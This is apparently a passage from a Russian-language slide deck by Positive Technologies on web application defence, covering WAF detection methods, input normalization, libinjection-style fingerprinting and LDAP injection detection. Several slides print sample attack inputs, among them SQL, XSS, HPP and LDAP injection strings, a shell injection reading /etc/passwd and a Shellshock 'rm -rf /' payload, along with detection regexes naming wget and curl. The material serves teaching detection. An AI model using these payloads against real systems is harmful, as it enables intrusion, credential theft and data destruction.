POST /update HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475

price=-100&quantity=2&role=user&[email protected]&token=2341234123…

Page 80: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример: атака HPP80

POST /update HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475

price=100&quantity=2&role=user&price=-100&token=2341234123…

Page 81: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример: атака IDOR81

POST /update HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475

price=100&quantity=2&role=admin&[email protected]&token=2341234123…

Page 82: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример: атака SQL Injection82

POST /update HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475

price=100&quantity=2' OR '1'='1&role=user&token=2341234123…

Page 83: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример: атака XSS83

POST /update HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475

price=100&quantity=<svg/onload=alert(1)>&role=user&token=2341234123…

Page 84: SibirCTF 2016. Практические методы защиты веб-приложений

Аутентификация AJAX-запросов

Page 85: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

В чем проблема?85

var xhr = new XMLHttpRequest();var body = 'id' + encodeURIComponent(id);xhr.open('POST', '/submit', true)xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')xhr.onreadystatechange = ...;xhr.send(body);

POST /submit HTTP/1.1Host: server.comX-Requested-With: XMLHttpRequestContent-Type: application/x-www-form-urlencoded

id=754

Page 86: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Инструментальный анализ86

http://www.slideshare.net/yalegko/whitebox-hmac-make-your-cipher-secure-to-whitebox-attacks

Page 87: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

White-Box Cryptography87

http://www.whiteboxcrypto.com/

Page 88: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Метод защиты88

1. Для секретного ключа k генерируем код функции wbhmac на языке JavaScript, такой, что для всех строк s верно hmac(k, s) = wbhmac(s)

2. Выполняем обфускацию кода wbhmac

3. Выполняем перегрузку AJAX-методов так, чтобы каждый AJAX-запрос содержал токен, вычисленный по отправляемому запросу с помощью wbhmac

4. Разрешаем только AJAX-запросы с валидным токеном

Page 89: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Гипотеза89

Если злоумышленник не знает секретного ключа k, то для инструментального анализа веб-приложения (поиска уязвимостей) ему необходимо успешно решить одну из следующих задач:

• вычислить ключ k, выполнив атаку на криптографическую хеш-функцию

• восстановить ключ k по коду функции wbhmac

• написать транслятор, автоматически преобразующий код wbhmac в код расширения для средства анализа (например, для Burp Suite или ZAP)

Page 90: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Что нового90

Общая схема аутентификации веб-форм

Валидация данных, вводимых в форму на клиентской стороне

Защита AJAX-запросов от средств инструментального анализа на клиентской стороне

Page 91: SibirCTF 2016. Практические методы защиты веб-приложений

Обнаружение инъекций

Page 92: SibirCTF 2016. Практические методы защиты веб-приложений

Механика обнаружения атак92

ptsecurity.com

Normalization

Negative security model (Blacklisting)

• Signature-based (regular expressions, text)

• Syntax-based

• Rule-based

Positive security model (Whitelisting)

• Rule-based

• Static Profiling

• Dynamic Profiling

• Machine learning

Extension API Web Application Firewall Evaluation Criteria

Page 93: SibirCTF 2016. Практические методы защиты веб-приложений

Основной признак инъекции

Page 94: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Признак уязвимости к инъекции94

Алгоритм формирования выходных данных DOUTPUT на основе входных данныхDINPUT уязвим к атаке инъекции, если от содержимого DINPUT зависит количествоузлов в дереве разбора (parse tree) для DOUTPUT

Page 95: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример95

http://example.com/foo.html#1

http://example.com/foo.html#1;alert(1);

var input = location.hash.slice(1);document.write("<scr"+"ipt>var foo = "+ input +"; </scr"+"ipt>");

<script> var foo = 1;alert(1); <script>

<script> var foo = 1; <script>

Page 96: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример96

var foo = 1; var foo = 1; alert(1);

Page 97: SibirCTF 2016. Практические методы защиты веб-приложений

Примеры инъекций

SQL: id=42' or 1=1-- -

HTML: 111"><a href = "//evil.com">

JavaScript: 1"; alert(document.domain);//

Shell Command Injection: 192.168.10.1 && cat /etc/passwd

LDAP Injection: admin)|((userpassword=*)

XPath Injection: user' or name()='admin' or 'x'='y

Shellshock: test () { :; }; rm –rf /

97

HTTP

ptsecurity.com

Page 98: SibirCTF 2016. Практические методы защиты веб-приложений

Нормализация

Page 99: SibirCTF 2016. Практические методы защиты веб-приложений

Нормализация99

ptsecurity.com

Одни и те же данные могут быть интерпретированы по разному

Нормализация – процесс преобразования данных к формату защищаемого веб-приложения

Кодирование• URL decoding• Null-byte string termination• BASE64 decoding• HTML entities decoding• IIS-specific Unicode encoding• Double encoding

Парсинг• URL Path• HTTP Parameters• Hostname

Page 100: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример100

GET /update?id=1+union+select+1/* HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475

Page 101: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример101

GET /update?id=1+un/**/ion+se/**/lect+1/* HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475

Page 102: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример102

GET /update?id=1;select+1&id=2,3/* HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475

ASP.NET/IISid = 1;SELECT 1,2,3 /*

PHP/Apacheid = 2,3 /*

Page 103: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример103

GET /update?id=\u003csvg%2fonload=alert(1)\u003e HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475

Page 104: SibirCTF 2016. Практические методы защиты веб-приложений

Обработка Path104

ptsecurity.com

Page 105: SibirCTF 2016. Практические методы защиты веб-приложений

HTTP Parameter Pollution105

ptsecurity.com

Page 106: SibirCTF 2016. Практические методы защиты веб-приложений

HTTP Parameter Contamination106

ptsecurity.com

Page 107: SibirCTF 2016. Практические методы защиты веб-приложений

Нормализация107

ptsecurity.com

T. Ptacek, T.Newsham. Insertaion, Evasion, and Denial of Service: Eluding Network Intrusion Detection. Secure Networks, Inc. 1998.

Ivan Ristic. Protocol-Level Evasion of Web Application Firewalls.

Основной принцип нормализации – приведение обрабатываемых данных к такому же формату и виду, к каким приведет его защищаемое веб-приложение

Page 108: SibirCTF 2016. Практические методы защиты веб-приложений

Positive Security Model

Page 109: SibirCTF 2016. Практические методы защиты веб-приложений

Positive Security Model109

HTTP

ptsecurity.com

Page 110: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Positive Security Model110

А. Реутов, А. Завгородний. Продвинутая защита от DDoS-атак на прикладном уровне с помощью алгоритмов машинного обучения

А. Реутов, А. Завгородний. Распознование активности ботов с помощью алгоритмов машинного обучения

В. Лепихин. Реализация методов самообучения в WAF

Page 111: SibirCTF 2016. Практические методы защиты веб-приложений

Negative Security Model

Page 112: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Negative Security Model112

Лексический подход (регулярные выражения)

Лексико-сигнатурный подход • libinjection (Nick Galbreath)

Синтаксический подход (parsing-based)• libdetection (Wallarm)

• waf.js (Positive Technologies)

• Indexed Syntax Graph (Shape Security)

Page 113: SibirCTF 2016. Практические методы защиты веб-приложений

Лексический подход

Page 114: SibirCTF 2016. Практические методы защиты веб-приложений

Лексический подход114

HTTP

ptsecurity.com

(?:\/[^\?\/]+\.(?:bat|cmd|ps1|wsf|sh|wsh|hta|vbs|vbe)(?:\;[^\?\/]*)?\?)|\?.+\=.*(?:(?:ActiveXObject|CreateObject|Exec)\((?:"|')|\((?:'|")WScript\.Shell)

LDAP Search Filter Injection(?:\((?:\W*?(?:objectc(?:ategory|lass)|homedirectory|[gu]idnumber|cn)\b\W*?=|[^\w\x80-\xFF]*?[\!\&\|][^\w\x80-\xFF]*?\()|\)[^\w\x80-\xFF]*?\([^\w\x80-\xFF]*?[\!\&\|])

Reflected File Download

SSRF(gopher|jar|tftp|php|phar|ldap|dict|ssh2|file|ogg|expect|imap|pop3|smtp|telnet|mailto|zlib|rar|compress\.zlib|glob|data):\/\/

(?i:(?:[\;\|\`]\W*?\bcc|\b(wget|curl))\b|\/cc(?:[\'\"\|\;\`\-\s]|$))

OS Command Injection

SSI Injection<!--\W*?#\W*?(?:e(?:cho|xec)|printenv|include|cmd)

Page 115: SibirCTF 2016. Практические методы защиты веб-приложений

Лексический подход115

HTTP

ptsecurity.com

Reflected File Download

Page 116: SibirCTF 2016. Практические методы защиты веб-приложений

Лексический подход116

HTTP

ptsecurity.com

SQL Injection

# Detect SQL Comment Sequences(/\*!?|\*/|[';]--|--[\s\r\n\v\f]|(?:--[^-]*?-)|([^\-&])#.*?[\s\r\n\v\f]|;?\\x00)# SQL Hex Evasion Methods(?i:(?:\A|[^\d])0x[a-f\d]{3,}[a-f\d]*)+# String Termination/Statement Ending Injection Testing(^[\"'`´’‘;]+|[\"'`´’‘;]+$)# SQL Operators(?i:(\!\=|\&\&|\|\||>>|<<|>=|<=|<>|<=>|\bxor\b|\brlike\b|\bregexp\b|\bisnull\b)|(?:not\s+between\s+0\s+and)|(?:is\s+null)|(like\s+null)|(?:(?:^|\W)in[+\s]*\([\s\d\"]+[^()]*\))|(?:\bxor\b|<>|rlike(?:\s+binary)?)|(?:regexp\s+binary))# SQL Tautologies (?i:([\s'\"`´’‘\(\)]*?)\b([\d\w]++)([\s'\"`´’‘\(\)]*?)(?:(?:=|<=>|r?like|sounds\s+like|regexp)([\s'\"`´’‘\(\)]*?)\2\b|(?:!=|<=|>=|<>|<|>|\^|is\s+not|not\s+like|not\s+regexp)([\s'\"`´’‘\(\)]*?)(?!\2)([\d\w]+)\b))# Detect DB Names(?i:(?:m(?:s(?:ysaccessobjects|ysaces|ysobjects|ysqueries|ysrelationships|ysaccessstorage|ysaccessxml|ysmodules|ysmodules2|db)|aster\.\.sysdatabases|ysql\.db)|s(?:ys(?:\.database_name|aux)|chema(?:\W*\(|_name)|qlite(_temp)?_master)|d(?:atabas|b_nam)e\W*\(|information_schema|pg_(catalog|toast)|northwind|tempdb))

Page 117: SibirCTF 2016. Практические методы защиты веб-приложений

Лексический подход117

HTTP

ptsecurity.com

SQL Injection

(?i:\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4|ipv6|not_null|not|null|used_lock))?|n(?:et6?_(aton|ntoa)|s(?:ert|tr)|terval)?|f(null)?)|u(?:n(?:compress(?:ed_length)?|ix_timestamp|hex)|tc_(date|time|timestamp)|p(?:datexml|per)|uid(_short)?|case|ser)|l(?:o(?:ca(?:l(timestamp)?|te)|g(2|10)?|ad_file|wer)|ast(_day|_insert_id)?|e(?:(?:as|f)t|ngth)|case|trim|pad|n)|t(?:ime(stamp|stampadd|stampdiff|diff|_format|_to_sec)?|o_(base64|days|seconds|n?char)|r(?:uncate|im)|an)|m(?:a(?:ke(?:_set|date)|ster_pos_wait|x)|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:nth(name)?|d)|d5)|r(?:e(?:p(?:lace|eat)|lease_lock|verse)|o(?:w_count|und)|a(?:dians|nd)|ight|trim|pad)|f(?:i(?:eld(_in_set)?|nd_in_set)|rom_(base64|days|unixtime)|o(?:und_rows|rmat)|loor)|a(?:es_(?:de|en)crypt|s(?:cii(str)?|in)|dd(?:dat|tim)e|(?:co|b)s|tan2?|vg)|p(?:o(?:sition|w(er)?)|eriod_(add|diff)|rocedure_analyse|assword|i)|b(?:i(?:t_(?:length|count|x?or|and)|n(_to_num)?)|enchmark)|e(?:x(?:p(?:ort_set)?|tract(value)?)|nc(?:rypt|ode)|lt)|v(?:a(?:r(?:_(?:sam|po)p|iance)|lues)|ersion)|g(?:r(?:oup_conca|eates)t|et_(format|lock))|o(?:(?:ld_passwo)?rd|ct(et_length)?)|we(?:ek(day|ofyear)?|ight_string)|n(?:o(?:t_in|w)|ame_const|ullif)|(rawton?)?hex(toraw)?|qu(?:arter|ote)|(pg_)?sleep|year(week)?|d?count|xmltype|hour)\W*\(|\b(?:(?:s(?:elect\b(?:.{1,100}?\b(?:(?:length|count|top)\b.{1,100}?\bfrom|from\b.{1,100}?\bwhere)|.*?\b(?:d(?:ump\b.*\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_(?:sqlexec|sp_replwritetovarbin|sp_help|addextendedproc|is_srvrolemember|prepare|sp_password|execute(?:sql)?|makewebtask|oacreate)|ql_(?:longvarchar|variant))|xp_(?:reg(?:re(?:movemultistring|ad)|delete(?:value|key)|enum(?:value|key)s|addmultistring|write)|terminate|xp_servicecontrol|xp_ntsec_enumdomains|xp_terminate_process|e(?:xecresultset|numdsn)|availablemedia|loginconfig|cmdshell|filelist|dirtree|makecab|ntsec)|u(?:nion\b.{1,100}?\bselect|tl_(?:file|http))|d(?:b(?:a_users|ms_java)|elete\b\W*?\bfrom)|group\b.*\bby\b.{1,100}?\bhaving|open(?:rowset|owa_util|query)|load\b\W*?\bdata\b.*\binfile|(?:n?varcha|tbcreato)r|autonomous_transaction)\b|i(?:n(?:to\b\W*?\b(?:dump|out)file|sert\b\W*?\binto|ner\b\W*?\bjoin)\b|(?:f(?:\b\W*?\(\W*?\bbenchmark|null\b)|snull\b)\W*?\()|print\b\W*?\@\@|cast\b\W*?\()|c(?:(?:ur(?:rent_(?:time(?:stamp)?|date|user)|(?:dat|tim)e)|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|ast|r32)\W*\(|o(?:(?:n(?:v(?:ert(?:_tz)?)?|cat(?:_ws)?|nection_id)|(?:mpres)?s|ercibility|alesce|t)\W*\(|llation\W*\(a))|d(?:(?:a(?:t(?:e(?:(_(add|format|sub))?|diff)|abase)|y(name|ofmonth|ofweek|ofyear)?)|e(?:(?:s_(de|en)cryp|faul)t|grees|code)|ump)\W*\(|bms_\w+\.\b)|(?:;\W*?\b(?:shutdown|drop)|\@\@version)\b|\butl_inaddr\b|\bsys_context\b|'(?:s(?:qloledb|a)|msdasql|dbo)'))

Page 118: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Правила118

Регулярные выражения – описание сигнатуры

Правило – описание контекста и логики

Правила• Условия

• Источники

• Корреляции

Page 119: SibirCTF 2016. Практические методы защиты веб-приложений

Пример правил: ModSecurity119

HTTP

ptsecurity.com

Heuristic Checks## -=[ Heuristic Checks ]=-## [ Repeatative Non-Word Chars ]## This rule attempts to identify when multiple (4 or more) non-word characters are repeated in sequence#SecRule ARGS "\W{4,}" "phase:2,capture,t:none,t:urlDecodeUni,block,id:'960024',rev:'2',ver:'OWASP_CRS/2.2.9',maturity:'9',accuracy:'8',msg:'Meta-Character Anomaly Detection Alert - Repetative Non-Word Characters',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',setvar:tx.anomaly_score=+%{tx.warning_anomaly_score},setvar:'tx.msg=%{rule.msg}',setvar:tx.%{rule.id}-OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION-%{matched_var_name}=%{tx.0}"

Page 120: SibirCTF 2016. Практические методы защиты веб-приложений

Пример правил CloudFlare WAF120

HTTP

ptsecurity.com

Anonymous Attack

rule 1234567A Simple POST botnetREQUEST_METHOD is POST andREQUEST_URI is /q

deny

rule 12345679 Anonymous attackREQUEST_METHOD is GET andREQUEST_URI begins /?msg=Nous%20sommes%20Anonymous

deny

Simple POST Botnet

Page 121: SibirCTF 2016. Практические методы защиты веб-приложений

Пример правил: PT Application Firewall121

HTTP

ptsecurity.com

Reflected File Download

{"rule": {

"and": [ {"REQUEST_URI": {

"regex": "(?:\\/[^\\?\\/]+\\.(?:bat|cmd|ps1|wsf|sh|wsh|hta|vbs|vbe)(?:\\;[^\\?\\/]*)?\\?)|\\?.+\\=.*(?:(?:ActiveXObject|CreateObject|Exec)\\((?:\\x22|')|\\((?:'|\\x22)WScript\\.Shell)"

}},{

"RESPONSE_HEADERS;content-disposition": {"itext": "attachment"

}}

]}

}

Page 122: SibirCTF 2016. Практические методы защиты веб-приложений

Пример правил: PT Application Firewall122

HTTP

ptsecurity.com

Missing Security Header

{"name": "Missing Security Header","enabled": "true","rule": {

"not": [{

"and": [{"RESPONSE_HEADERS_KEYS": "x-frame-options"},{"RESPONSE_HEADERS_KEYS": "x-download-options"},{"RESPONSE_HEADERS_KEYS": "x-content-type-options"},{"RESPONSE_HEADERS_KEYS": "x-xss-protection"}

]}

]}

}

Page 123: SibirCTF 2016. Практические методы защиты веб-приложений

Пример правил: PT Application Firewall123

HTTP

ptsecurity.com

Leakage in HTTP Header

{"name": "Leakage In HTTP Header","description": "","enabled": true,"rule": {"or": [{"RESPONSE_HEADERS_KEYS": "X-AspNet-Version"},{"RESPONSE_HEADERS_KEYS": "X-AspNetMvc-Version"},{"RESPONSE_HEADERS_KEYS": "X-Powered-CMS"},{"RESPONSE_HEADERS_KEYS": "X-Backend-Server"},{"RESPONSE_HEADERS_KEYS": "X-Powered-By"},{"RESPONSE_HEADERS_KEYS": "Server"},{"RESPONSE_HEADERS_KEYS": "X-ChromePhp-Data"},{"RESPONSE_HEADERS_KEYS": "X-ChromeLogger-Data"}

]}

}

Page 124: SibirCTF 2016. Практические методы защиты веб-приложений

Лексико-сигнатурный подход

Page 125: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Лексико-сигнатурный подход125

Предложил Nil Galbreath в 2012 для обнаружения SQL-инъекций

Позднее данный подход был адаптировал для обнаружения XSS

Реализован в библиотеке libinjection

Основные идеи

• Выполняется токенизация значения в соответствии с заданной грамматикой в 3-х контекстах

• Строится свертка

• Последовательность первых 5-ти токенов ищется в базе сигнатур

• База сигнатур строится по популярным векторам атак

Page 126: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример126

input = 42" or "1"="1" --

1

Page 127: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример127

input = 42" or "1"="1" --

Context AS_IS = 42" or "1"="1" --

1

Page 128: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример128

input = 42" or "1"="1" --

Context AS_IS = 42" or "1"="1" --

1

('1', '42'): number('s', ' " or "'): string('1', '1'): number('s', ' "=" '): string('1', '1'): number('s', ' "--'): string

Токены

Page 129: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример129

input = 42" or "1"="1" --

Context AS_IS = 42" or "1"="1" --

1

('1', '42'): number('s', ' " or "'): string('1', '1'): number('s', ' "=" '): string('1', '1'): number('s', ' "--'): string

Токены

1s1s1s

Сигнатура

Page 130: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример130

input = 42" or "1"="1" --

Context AS_IS = 42" or "1"="1" --

1

('1', '42'): number('s', ' " or "'): string('1', '1'): number('s', ' "=" '): string('1', '1'): number('s', ' "--'): string

Токены

1s1s1s

Сигнатура

Page 131: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример131

input = 42" or "1"="1" --

2

Page 132: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример132

input = 42" or "1"="1" --

Context SINGLE_QUOTE = '42" or "1"="1" --

2

Page 133: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример133

input = 42" or "1"="1" --

Context SINGLE_QUOTE = '42" or "1"="1" --

2

('s', ' \'42" or "1"="1" --'): string

Токены

Page 134: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример134

input = 42" or "1"="1" --

Context SINGLE_QUOTE = '42" or "1"="1" --

2

('s', ' \'42" or "1"="1" --'): string

Токены

s

Сигнатура

Page 135: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример135

input = 42" or "1"="1" --

Context SINGLE_QUOTE = '42" or "1"="1" --

2

('s', ' \'42" or "1"="1" --'): string

Токены

s

Сигнатура

Page 136: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример136

input = 42" or "1"="1" --

3

Page 137: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример137

input = 42" or "1"="1" --

Context DOUBLE_QUOTES = "42" or "1"="1" --

3

Page 138: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример138

input = 42" or "1"="1" --

Context DOUBLE_QUOTES = "42" or "1"="1" --

3

('s', ' "42" '): string('&', 'or'): logic operator('s', ' "1" '): string('o', '='): operator('1', ' "1"'): string('c', '--'): comment

Токены

Page 139: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример139

input = 42" or "1"="1" --

Context DOUBLE_QUOTES = "42" or "1"="1" --

3

('s', ' "42" '): string('&', 'or'): logic operator('s', ' "1" '): string('o', '='): operator('1', ' "1"'): string('c', '--'): comment

Токены

s&sos

Сигнатура

Page 140: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример140

input = 42" or "1"="1" --

Context DOUBLE_QUOTES = "42" or "1"="1" --

3

('s', ' "42" '): string('&', 'or'): logic operator('s', ' "1" '): string('o', '='): operator('1', ' "1"'): string('c', '--'): comment

Токены

s&sos

Сигнатура

Page 141: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Примеры сигнатур141

&(1)U

&(1)o

&(1o(

&(1of

&(1os

&(1ov

&(f()

&(nof

&(nos

&(nov

&(s)U https://github.com/client9/libinjection/blob/master/src/fingerprints.txt

Page 142: SibirCTF 2016. Практические методы защиты веб-приложений

Проблема ложных срабатываний

POST /app HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10

Text=Dancin' like a robot on fire

142

ptsecurity.com

Page 143: SibirCTF 2016. Практические методы защиты веб-приложений

Обнаружение LDAP-инъекций с нуля

Page 144: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

LDAP-инъекция144

«Внедрение операторов LDAP» (LDAP Injection) — атака, позволяющая злоумышленнику влиять на фильтр поиска, либо на Base DN, в обход логики приложения

Злоумышленник может обойти механизмы аутентификации, получить конфиденциальную информацию или повлиять на модифицирующие запросы

LDAP Injection

• Search filter

• Distinguished Name

В ModSecurity CRS обнаружение LDAP-инъекции основано на следующем регулярном выражении

(?:\((?:\W*?(?:objectc(?:ategory|lass)|homedirectory|[gu]idnumber|cn)\b\W*?=|[^\w\x80-\xFF]*?[\!\&\|][^\w\x80-\xFF]*?\()|\)[^\w\x80-\xFF]*?\([^\w\x80-\xFF]*?[\!\&\|])

https://github.com/SpiderLabs/owasp-modsecurity-crs/blob/master/base_rules/modsecurity_crs_40_generic_attacks.conf

Page 145: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

LDAP-инъекция145

Page 146: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Вектора LDAP-инъекций146

foo)(sn=100foo)(&)documents)(security_level=*))(&(directory=documentsprinter)(uid=*)printer)(department=fa*)printer)(department=*fa*)*)(objectClass=*))(&(objectClass=void*)(objectClass=users))(&(objectClass=foovoid)(objectClass=users))(&(objectClass=void)

https://www.blackhat.com/presentations/bh-europe-08/Alonso-Parada/Whitepaper/bh-eu-08-alonso-parada-WP.pdf

Вектора Алонсо-Парада

Page 147: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Вектора LDAP-инъекций147

eb9adbd87d)(sn=*eb9adbd87d)!(sn=**)(sn=**)!(sn=*

Вектора Burp Suite

Вектора ExploitDB

ka0x)(|(homedirectory=*)

5faa0382d747b754)(sn=*

5faa0382d747b754)!(sn=*

Page 148: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Вектора LDAP-инъекций148

%2A%28%7C%28mail%3D%2A%29%29%2A%28%7C%28objectclass%3D%2A%29%29*(|(mail=*))*(|(objectclass=*))*()|&'admin*admin*)((|userpassword=*)*)(uid=*))(|(uid=*

Вектора FuzzDB

Page 149: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Вектора LDAP-инъекций149

^(#$!@#$)(()))******

Вектора W3AF

Вектора Acunetix

!(()&&!|*|*|

^(#$!@#$)(()))******

Вектора OWASP Testing Security Guide

*)(uid=*))(|(uid=*

Page 150: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

LDAP-инъекция150

Применим подход libinjection для обнаружения LDAP-инъекций в фильтрах поиска

Пример фильтра

Этапы• Определение контекстов

• Определение токенов по грамматике LDAP Search Filter

• Определение правил кодирования и свертки

• Создание базы сигнатур

(&(givenName=John)(|(l=Dallas)(l=Austin)))

Page 151: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

LDAP-инъекция151

Контексты• (cn=$input)

• (&(cn=$input)(sn=$const))

• (&(cn=$const)(sn=$input))

Page 152: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

LDAP-инъекция152

https://tools.ietf.org/search/rfc4515

Лексемы

(

)

&, |, !

=, >=, <=, ~=

Токен

(

)

&

o

attr, attributeDescription, any, assertionValue, [dnattrs],

[matchingrule]n

Page 153: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Контексты153

Лексемы Фильтр

(cn=aa)(&)

(cn=aa)(cn=aa)(cn=$input)

Фингерпринт

n)(& *

n)(no

* - Только для некоторых LDAP-серверов, которые отбрасывают второе валидное выражение** - Если веб-приложение уязвимо к NULL-инъекции

Page 154: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Контексты154

Лексемы Фильтр

(&(cn=aa)(sn=aa)(&))

(&(cn=aa)(sn=aa)(cn=aa)(&))(&(cn=$const)(sn=$input))

Фингерпринт

n)(&

n)(no

(&(cn=aa)(sn=aa))(&(cn=aa)(sn=aa)) n))(& *

(&(cn=aa)(sn=aa)))%00)) n))) **

* - Только для некоторых LDAP-серверов, которые отбрасывают второе валидное выражение** - Если веб-приложение уязвимо к NULL-инъекции

Page 155: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Контексты155

Лексемы Фильтр

(&(cn=aa)(&)(sn=aa))

(&(cn=aa)(sn=aa)(sn=aa))

(&(cn=$input)(sn=$const))

Фингерпринт

n)(&

n)(no

(&(cn=aa)(&)(sn=aa)(sn=aa)) n)(&)

(&(cn=aa)(&(cn=aa)(cn=aa))(sn=aa)) n)(&(

(&(cn=aa)(&))(sn=aa))

(&(cn=*)!(sn=*)(sn=aa))

(&(cn=aa))%00)(sn=aa))

* - Только для некоторых LDAP-серверов, которые отбрасывают второе валидное выражение** - Если веб-приложение уязвимо к NULL-инъекции*** - Синтаксически неверный вектор, используемый в тестах

n)(&) *

n)&(n ***

n)) **

Page 156: SibirCTF 2016. Практические методы защиты веб-приложений

Синтаксический подход

Page 157: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Предлагаемый подход157

Строка s - инъекция для языка L(G), если в построенном дереве разбора s по грамматике G содержится хотя бы одна опасная инструкция

• 11111• alert(1)

Базовая идея – выполнить парсинг строки в специальном режиме восстановления после ошибок и если в результате мы получим дерево с опасными инструкциями, то исходная строка является инъекцией

Характеристики подхода• Возможность использования готовых парсеров• Универсальность• Эвристичность

Page 158: SibirCTF 2016. Практические методы защиты веб-приложений

ptsecurity.com

Пример: DOM-based XSS158

http://ex.com/foo.html#11111

var input = location.hash.slice(1);document.write("<scr"+"ipt>var foo = "+ input +"</scr"+"ipt>");

<script> var foo = 11111; <script>

Program

ExpressionStatement

Literal

